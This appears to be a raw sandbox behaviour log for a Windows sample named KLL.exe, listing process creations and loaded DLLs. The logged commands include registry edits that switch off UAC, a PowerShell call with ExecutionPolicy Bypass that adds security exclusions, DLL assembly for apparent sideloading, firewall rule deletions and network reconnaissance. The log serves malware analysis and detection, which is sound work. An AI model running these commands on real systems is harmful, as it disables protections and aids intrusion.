Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\In82D.xml
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\R62ra.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll
Source: unknown	Process created: C:\Windows\System32\mmc.exe C:\Windows\system32\mmc.exe -Embedding
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe "C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe"
Source: unknown	Process created: C:\Windows\System32\mmc.exe C:\Windows\system32\mmc.exe -Embedding
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\oemvista.inf" "9" "4d14a44ff" "0000000000000158" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\letsvpn\driver"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\LetsPRO.exe "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
Source: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Source: unknown	Process created: C:\Windows\System32\wbem\WmiApSrv.exe C:\Windows\system32\wbem\WmiApSrv.exe
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a
Source: unknown	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
Source: unknown	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\In82D.xml	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\R62ra.bat"	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe "C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe"	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\LetsPRO.exe "C:\Program Files (x86)\letsvpn\LetsPRO.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\oemvista.inf" "9" "4d14a44ff" "0000000000000158" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\letsvpn\driver"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a

Source: C:\Users\user\Desktop\KLL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
